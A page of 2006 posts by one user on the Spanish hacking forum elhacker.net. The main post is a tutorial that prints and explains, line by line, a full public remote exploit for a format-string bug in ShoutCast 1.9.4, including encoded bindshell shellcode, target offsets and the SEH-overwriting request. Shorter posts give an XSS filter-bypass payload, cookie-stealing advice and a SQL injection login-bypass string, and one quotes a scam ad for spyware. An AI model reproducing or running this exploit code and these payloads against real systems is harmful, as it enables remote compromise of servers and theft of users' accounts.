elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Mensajes
Páginas: 1 ... 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 [177] 178 179 180 181
1761  Seguridad Informática / Bugs y Exploits / Taller de Introducción; Format String en: 29 Marzo 2006, 05:40 am
Hola.
Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo ;)
El exploit lo pueden bajar de aqui:
http://www.milw0rm.com/exploits/830
(Por Tomasz Trojanowski)
Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF.

En fin.. les recuerdo un poco que es un FSoF.

"Format String Bug"
"Format String Vulnerabilty"
"Format String Over Flow"
o simplemente
"Format String"

son todos lo mismo, y sucede en estas ocasiones:

printf(variable);
sprintf(variable);
fprintf(variable);
etc..

Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n"
Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno.

La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF.

La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente.

ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..)
Este protocolo funciona asi:

Código:
[METODO] [ARCHIVO] [VERSION]
[CABECERA]: [CONTENIDO]
[CABECERA]: [CONTENIDO]
...



[CONTENIDO]

Por ejemplo, esta petición estandard a un webserver Apache:
Código:
GET / HTTP/1.1
Host: localhost
Daria como resultado esta respuesta:
Código:
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2006 04:31:05 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 114
Content-Type: text/html
Bueno, el problema con ShoutCast es que el parametro del archivo,es manejado usando las instrucciónes vulnerables a FSoF de las que hablamos.

Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH.
Código:
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
espero que no tenga que explicar que es esto.. :P
Código:
#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"
Se definen colores xD
Código:
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 8000
se define el banner (Pubicidad :P) una funcion, para imprimir errores, y el puerto 8000 como puerto por defecto.
Código:
struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
{ "wXP SP1     ", 0x77beeb23, 0x77be10cc, 0x77be10D0 }, // msvcrt.dll's
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
 }, tsz;
Se crea una estructura "tsz" con los offsets.
Código:
unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
el bindshell..
Código:
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1a,&gpa,4);
memcpy(bsh+0x2b,&lla,4);
}
Código:
void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -v verbose mode on\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -P <port> for the shellcode [default: 1180]\n");
printf(" -t <target type>; choose below [default: 0]\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}
se crea la función setoff, que se usara para asignar los offsets.
y el menu de uso.
Código:
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
se declaran variables, esto se ejecuta, unavez que se haya establecido conexión con el servidor victima.
Código:
	printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
se colocan algunos valores, se asigna a 0, y si esta definido "s" entonces "fds ~> s"
Código:
      if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}

Mandamos el paquete... (si se define un canal de salida usa write, sino usa send.)
Código:
	}
}
Código:
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=1180; char bindopt=1;
int i,s,ptr=0;
int type=0;
char *buff;

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);
se definen algunas variables, objetos, etc.. imprimimos el banner y las instrucciones

Código:
	for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
// chk nulls argv[i+1]
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
Esto solo manda a cada lugar los parametros enviados, solo analizaremos algunos:

Código:
			case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
Asignamos un puerto personalisado.

Código:
			case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;
Asignamos el objetivo.

Código:
	if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
Hacemos la conexión......

Código:
	printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
printf("[.] will try to put a bindshell on port %d.\n",Port);
:-/ Información...

Ahora, hasta aqui, no hemos visto nada nuevo.. :P
Código:
	s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] connect()");

printf("[+] connected, sending exploit\n");
En sus marcas.. listos? xD
Código:
	buff=(char *)malloc(4096);
bzero(buff,4096);

setoff(targets[type].gpa, targets[type].lla);
Asignamos espacio en memoria.
Ponemos a 0 el buffer.
y ponemos los offsets :P

Código:
	ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));
bueno, esto lo que hace es meter en "buff" el tamaño de la shell.
   
Código:
	memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);
Ahora, copiamos el bindshell en memoria....

Código:
	strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;
Esto: EB 06 41 41, en ASM es:
Saltar 8 bits adelante.
CX=CX+2
es decir saltamos.
Código:
	memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;
metemos el primer offset, de la lista de objetivos.

Código:
	strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff");
saltamos 208 bits atras.
Código:
	strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;
y generamos una peticion HTTP version 1.1 valida.

Código:
	send(s,buff,ptr,0);

free(buff);

close(s);
enviamos y cerramos.

Código:
	sin.sin_port = htons(Port);
sleep(2);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);

exit(0);
}
y nos vamos.

Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente..
estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema.. ;)

Saludos!!

PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar ;).
1762  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 24 Marzo 2006, 16:50 pm
Lamentables estos filtros sugeridos por usuarios de php.net:

http://72.14.203.104/search?q=cache:P6cmiyv-2GIJ:www.php.net/strpos&hl=es&gl=mx&ct=clnk&cd=1
http://www.php.net/strpos

se saltan todos asi:
<sCripT >/*<scriPt >/**/alert();</scrIpt >

xD
1763  Informática / Tutoriales - Documentación / Re: XSS FINAL-Version TXT en: 23 Marzo 2006, 05:57 am
Pues te ayudaria a como evitarlos, yo uso las tecnicas ya mencionadas.. pero estoy un poco mas orientado a su explotación, una ves que sabes como te atacan sabes como defenderte.. parece que tu estas enfocado exclusivamente a la defensa, pero te recuerdo que la secretaria de defensa de un pais tambien se encarga de atacar ;).

Lo mas seguro para texto es usar htmlentities y specialchars, para pass urlencode para datos en sql, base64, si son datos numericos usar "(int)$variable" para demas datos, addslashes..

Saludos!!
1764  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 21 Marzo 2006, 08:13 am
En eso ya no te pudo ayudar xD, te toca a ti, ver que hace.. mucha suerte!!
1765  Informática / Tutoriales - Documentación / Re: XSS FINAL-Version TXT en: 20 Marzo 2006, 08:35 am
Hola.

Desactivar el uso de scripting en el navegador.
Eso dejaria inservible el 65% de las paginas webs.

Usar el mehotd POST y no GET.
Las variables $_POST se mezclan con $_GET si no se especifica una separación, el 99% $_POST = $_GET

Filtrar el contenido de las variables (ponganle las " ")
supongo que hablas de las magic_quotes pero muchas veces eso hace que tu programa no funcione correctamente, es mas smf desactiva las magic_quotes, y muchos otros programas tambien..

Lo mejor para evitar XSS en PHP es usar las funciones (urlencode ó htmlentities) + addslashes.

Saludos!!
1766  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 20 Marzo 2006, 08:28 am
asegurate de que antes de enviar el valor de la cookie, le hagas un escape, escape(document.cookie).. :/

Saludos!!
1767  Informática / Tutoriales - Documentación / Re: Los Poderes Secretos de XSS (Cross Site Scripting) en: 17 Marzo 2006, 00:01 am
deceiver:
¿como es la cookie completa?

Saludos!!
1768  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Humor Amarillo (Actualizado 7-01-05) en: 13 Marzo 2006, 22:16 pm
Citar
Ok si alguna vez te habías preguntado como averiguar la contraseña de correo de otra persona esta es tu oportunidad de saberlo!

Todo se hace a través de un programa, exacto! un simple programa lo hará por tí! Además no sólo podrás sacar contraseñas de Hotmail, sino también de Yahoo, Latinmail, Gmail, y todos los que quieras!

Con este programa también podrás:

+ Observar la computadora que quieras como si fuera la tuya, es decir verás la pantalla de la otra persona, podrás ver con quien platica en messenger, que páginas visita, etc!
+ Si tiene webcam podrás ver su webcam sin que la persona lo note, podrás verlo en tiempo real y sin riesgos!
+ Podrás bajar archivos de su computadora a la tuya, como fotos, videos, canciones, documentos y más.
+ Podrás desconectarla del messenger
+ Borrar archivos
+ Transferirle archivos de tu computadora a la suya, y abrirlos remotamente
+ Y muchas cosas más!

Cómo conseguir este maravilloso programa?

El programa tiene un precio de 200 pesos mexicanos, o 20dls, muchos ofrecen sacar contraseñas al precio de 200 pesos cada una, tu podrás sacar las contraseñas y la información que quieras por ese precio!

No esperes más! manda un correo a la direccion: ?????@gmail.com solicitando el programa y te daré todas las instrucciones necesarias.

No lo pienses más anímate porq se acaban!!!

???????@gmail.com

xDDDD me llego a mi mail
1769  Seguridad Informática / Bugs y Exploits / Re: [<TALLER>] Introducción a Bugs y Exploits en: 8 Febrero 2006, 08:32 am
Empezamos con ensamblador!!
Un lenguaje de bajo nivel.
Hagan de cuenta, que los programadores son los directores de una empresa, que produce.. productos (programas).

La oficina del programador, como es el de las ideas esta hasta arriba, :o

Abajo estan varias divisiones, que se encargan del poner las ideas en una pantalla para el usuario, osea arman el marco del programa, aqui podria ir, HTML, XML, APIs de protocolos, etc..

Abajo esta la división dinámica, como puede ser Perl, PHP, ASP, etc..

Abajo esta la sección de programadores nivel aplicación que saben: C, Java, VB entre otros lenguajes.

Abajo esta la sección de compiladores (traductores), que se encargan de poner el código de los señores de arriba, en otro lenguaje.. llamado ASM.

Abajo, esta la minifábrica, donde re-traducen el lenguaje ASM en bits.

queda algo asi:

Citar
[  PROGRAMADOR   ]
[    diseño      ]
[ INTERACTIVIDAD ]
[   APLICACIÓN   ]
[   TRADUCCIÓN   ]
[  ENSAMBLACION  ]

A que no adivinan, donde esta ensamblador?
claro!! en el nivel de abajo.. xD

Bueno, es una manera de ejemplificar esto.. creanme que nadie estaba pensando en un edificio cuando nombro ASM como lenguaje de bajo nivel.. pero creo que se entiende el concepto no?

Bueno, antes de ver ensamblador.. vamos a meternos un poco en como funcionan estas cosas.

hay un lenguaje, parecido (pero diferente (xD)) llamado Basic, ahora, no hablo del moderno.. ese ya es casi igual a visual basic.. yo hablo de BASIC.. de los primeros que salieron.

Escogi este, por un simple motivo, porque numera las lineas.

ok veamos.. este es un programa en basic.

Código:
10   PRINT "HOLA ESTO ES UN FACTORIZADOR"
20   INPUT A
30   GOTO 70
40   PRINT "2"
50   A=A/2
60   IF A-1=0 THEN 180
70   IF FRAC(A/2)=0 THEN 40
80   B=3
90   C=SQRA+1
100 IF B>=C THEN 170
110 IF FRAC(A/B)=0 THEN 130
120 B=B+2: GOTO 100
130 IF A/B*B-A=0 THEN 150
140 GOTO 120
150 PRINT B
160 A=A/B: GOTO 90
170 PRINT A
180 PRINT "AKB"
190 GOTO 20

Es un factorizador.. muy malo por cierto..
pero veamos como funciona.
primero imprime a pantalla:
Citar
HOLA ESTO ES UN FACTORIZADOR
Despues te pide un número y lo guarda en la variable A
digamos que metimos el 42
Código:
30   GOTO 70
Ahora va a la linea 70
Código:
70   IF FRAC(A/2)=0 THEN 40
Ahora.. pregunta:
SI LA FRACCION DE A/2 (42/2) ES IGUAL A 0 ENTONCES VE A LA LINEA 40
que es igual a
SI 0 = 0 ENTONCES:
Código:
40   PRINT "2"
Y recibimos un 2 en la patalla
Citar
2
Código:
50   A=A/2
Y el valor de A lo dividimos entre 2, ahora A vale 21
Código:
60   IF A-1=0 THEN 180
Y si el numero es igual a 1, entonces nos vamos a 180.. pero como no es asi..
Código:
70   IF FRAC(A/2)=0 THEN 40
Volvemos a preguntar si el nuevo valor de A(21)  es divisible entre 2.. la respuesta es NO, asi que seguimos adelante.
Código:
80   B=3
La variable B vale 3
Código:
90   C=SQRA+1
Y la variable C vale la RAIZ CUADRADA de A.. que es.~ 4.6 MAS 1.. en total C vale 5.6
Código:
100 IF B>=C THEN 170
Preguntamos si B(3) es mayor o igual a C(5.6), la respuesta es NO y seguimos sin saltar.
Código:
110 IF FRAC(A/B)=0 THEN 130
Preguntamos si A(21) es divisible entre B(3), la respuesta es SI, asi que saltamos a 130
Código:
130 IF A/B*B-A=0 THEN 150
Preguntamos si A(21)/B(3)*B(3)-A(21) es igual a 0, la respuesta es SI, (si no me crees has la cuenta) y saltamos a 150

y ustedes siganle :P

Bueno, quiero destacar ciertas cosas..
¿Hay funciones en este lenguaje?
Bueno, quien dijo, que NO esta bien.
Quien dice que SI tambien.

Me explico. hay una instrucción llamada GOSUB.. que va a cierta parte del código, y cuando encuentra RETURN, regresa a la linea de donde se lanzo el GOSUB.. por ejemplo:
Código:
10 GOTO 50
20 PRINT "HOLA"
30 RETURN
40 PRINT "ESTO NO SE EJECUTA"
50 GOSUB 20
60 PRINT "ADIOS"
Se podria decir que existe la funcion "Linea 20"
Ahora.. esto es todo lo que van a saber de BASIC.. si quieren saber mas:
http://en.wikipedia.org/wiki/BASIC

Espero que hallan entendido bien esto..
ahora va ensamblador..
La similitud que le veo con BASIC es muy grande, aunque muchos no compartan mi creencia.. nimodo :P.

Veamos..
Necesitamos un lugar donde probar lo que hacemos.
Inicio => Ejecutar
DEBUG

Si, asi es.. xD les debe salir un signo de menos (-)
escriben:
A
y saldra algo asi
Código:
0D0C:0100 
Bueno, ahi pueden poner cosas e ensamblador, este programa las transforma en binario, y listo..
Ahora.. ensamblador tiene ciertas peculiaridades.
Las variables, no son variables (si exacto.. suena extraño?) sino posiciones de memoria.
Uy hay algo mejor aun.. recuerdan la función "Linea 20", pues aca, aunque parece que tenemos mas flexibilidad (el MASM no cuenta), realmente estamos igual o peor.
Porque pues, en BASIC, al menos controlamos las lineas.. decimos, esta es linea 1, esta es 2 etc.. en ASM, si queremos saltar hacia adelante.. necesitamos primero hacer el programa, (o calcularlo, pero mm.. no) y despues de eso, sabremos a donde queremos saltar..
el GOSUB, pues.. para que el programa sepa a donde regresar despues del return (en ASM se llama ret) la direccion de guarda en una variable.

Por ejemplo:
Código:
0D0C:0100 JMP 113
0D0C:0102 DB "HOLA UNIVERSO XD$"
0D0C:0113 MOV AH,9
0D0C:0115 MOV DX,102
0D0C:0118 INT 21
0D0C:011A INT 20

(al usar debug, al final deben poner esto:
Código:
(salto de linea)
RCX
(longitud del programa, numero de la ultima linea menos 100)
N (nombre.com)
W
)
Código:
C:\DOCUME~1\ADMINI~1>DEBUG
-A
0D0C:0100 JMP 113
0D0C:0102 DB "HOLA UNIVERSO XD$"
0D0C:0113 MOV AH,9
0D0C:0115 MOV DX,102
0D0C:0118 INT 21
0D0C:011A INT 20
0D0C:011C
-RCX
CX 0000
:1C
-N X.COM
-W
Escribiendo 0001C bytes
-Q

C:\DOCUME~1\ADMINI~1>X.COM
HOLA UNIVERSO XD

Ok, vamos a explicar esto.
Código:
0D0C:0100 JMP 113

JMP, sirve para Brincar, es como el GOTO en basic

Código:
0D0C:0102 DB "HOLA UNIVERSO XD$"

Aqui, pusimos en DB que significa que lo que sigue, lo escriba tal cual en hexadecimal.

Código:
0D0C:0113 MOV AH,9

Ok, esto es parte de las cosas interesantes de ensamblador.. pon tu que en ensamblador SI hay funciones, pero les llamamos interrupciones.. ahora a las interrupciones, les pasamos parametros, igual que a una función, y los parametros que mandamos, los metemos un unos registros llamados AX,BX,CX,DX,SP,BP,SI,DI,DS,ES,SS,CS,IP,AH,BH
estos, pueden mandar valores a las interrupciones, y decriles que queremos hacer.. este MOV AH,9 "MUEVE" el valor "9" en el registro "AH".. es asi MOV DESTINO,FUENTE y esto sirve para que la interrupcion 21, haga la subfuncion de "ESCRIBIR EN PANTALLA" lo que hay en el siguiente registro..

Código:
0D0C:0115 MOV DX,102

Aqui, movemos 102 (es la direccion donde esta nuestro mensaje) al registro DX.. asi, la funcion/interrupcion sabe donde buscar lo que va a "ESCRIBIR EN PANTALLA"

Código:
0D0C:0118 INT 21

Aqui hacemos la interrupcion.. y hace lo que le dijimos, escribe en pantalla, lo que hay en la direccion 102, hasta chocar con "$" (te preguntabas porque estaba ese $ al final, ya sabes porque :P)

Código:
0D0C:011A INT 20

Esta otra interrupcion, termina el programa, de hecho, se supone que no la debes usar, pero.. que mas da..

Y nos da un bonito programa que nos dice Hola Universo :P

Ahora, hagamos un programa, que meta cosas donde no debe..

Haremos un archivo BATCH que cree un programa.. que nos muestre el mensaje que queramos :P
divertido no? (no? :( xD)

Código:
@echo off

echo A>o.tmp
echo JMP 123>>o.tmp
type %0.bat|find /v "o">>o.tmp
echo A 123>>o.tmp
echo MOV AH,09 >>o.tmp
echo MOV DX,103>>o.tmp
echo INT 21>>o.tmp
echo INT 20>>o.tmp
type %0.bat|find /v "o">>o.tmp
echo A 103>>o.tmp
echo DB "%1 %2 %3 %4 %5 %6 %7 %8 %9$">>o.tmp
type %0.bat|find /v "o">>o.tmp
echo RCX>>o.tmp
echo 11C>>o.tmp
echo N sayme.com>>o.tmp
echo W>>o.tmp
echo Q>>o.tmp
type %0.bat|find /v "o">>o.tmp
debug<o.tmp>k.tmo
::PARA DEBUG DESCoMENTEN LA SIGUIENTE LINEA
::del k.tmo&cls
echo BIEN!! SE HA CREADO CON EXITO SAYME.COM!
echo SOLO ESCRIBE SAYME EN EL PROMPT Y TE DI-
echo EL MENSAJE QUE ESPECIFICASTE!! :D :D :D
echo (EL MAXIMO SON 9 PALABRAS) Att. SDC
sayme

guardenlo donde quieran, y escriban:
Código:
C:\DOCUME~1\ADMINI~1>say HOLA ELHACKER.NET

despues escriban:
Código:
C:\DOCUME~1\ADMINI~1>sayme
HOLA ELHACKER.NET

:o Excelente el programa funciona.

Bueno, recuerdan que les hice leer muchos textos de overflows en la segunda sesión? pues.. los van a usar.

Miren, si ponen mas de 32 caracteres, van a empezar a escribir en secciones de código..

es decir, ponen 32 caracteres, y despues, pueden meter el código que se les de la gana :P

Para meter el codigo deben de hacer lo siguiente:
Primero, abren "debug" y escriben 32 veces NOP
se va a colocar en la dirección 123, ahi escriben el código que quieran..

lo abren con bloc de notas, y escriben en cmd.exe

SAY [PEGAN EL CONTENIDO DEL ARCHIVO]
esto deberia funcionar...

A pero me van a decir que no saben programar en Ensamblador.. les dejo un curso anexo ;)

Miren les explico que sucede:
El programa les deja escribir desde la posición 103.
cada letra, es un byte mas, es decir, una direccion mas.
una palabra de 5 letras ocupara hasta la 118
una de 9 hasta la 11C (recuerda que es hexadecimal), y asi sucesivamente.. asi que si quieres, puedes escribir sobre 123 que es donde esta el código y modificarlo, por lo que tu quieras.

TIP: Inicio -> Ejecutar -> calc  (calculadora hexadecimal)
TIP: Si tienen problemas con los caracteres, PUEDEN editar el BATCH

ESTA SESIÓN TIENE COMO OBJETIVO INTRODUCIRTE A LO QUE SON LOS BUGS, A NIVEL APLICACIÓN.

LA PROXIMA SESIÓN ATACAREMOS UN PROGRAMA EJECUTABLE, ES DECIR COMPILADO, CON FORMAT STRING, HEAP Y BUFFER OVERFLOW..

SI QUIEREN APRENDER BIEN LO DE OVERFLOW, HAY UN TEXTO POR ROJODOS, EN ESTE MISMO FORO.

Saludos!!
1770  Informática / Tutoriales - Documentación / Re: Tutorial de Inyección SQL en: 29 Enero 2006, 09:03 am
mmm.. intenta con esto en user.. depende de la estructura de la BD.. pero talvez funciona.
admin' UNION SELECT user,password /*
Páginas: 1 ... 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 [177] 178 179 180 181
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines